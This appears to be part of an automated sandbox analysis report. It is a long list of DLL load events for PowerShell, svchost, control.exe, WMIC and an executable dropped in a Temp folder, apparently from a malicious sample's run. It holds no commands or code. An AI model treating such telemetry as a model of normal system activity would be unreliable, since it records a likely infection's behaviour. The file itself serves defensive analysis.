Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.shell.servicehostbuilder.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ieframe.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mlang.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
